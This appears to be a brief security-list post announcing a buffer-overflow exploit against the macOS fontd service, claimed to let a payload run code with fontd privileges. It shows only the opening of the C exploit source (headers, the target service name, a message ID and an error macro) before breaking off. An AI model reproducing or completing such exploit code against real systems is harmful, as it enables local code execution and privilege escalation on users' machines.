Posted by 魏诺德 on Apr 30
BO exploitation @ fontd, allows payload to run code with fontd
privileges.
#include <stdio.h>
#include <stdlib.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>
#define SERVICE_NAME “com.apple.FontObjectsServer”
#define DEFAULT_MSG_ID 46
#define EXIT_ON_MACH_ERROR(msg, retval, success_retval) if (kr !=
success_retval) { mach_error(msg “:” , kr); exit((retval));…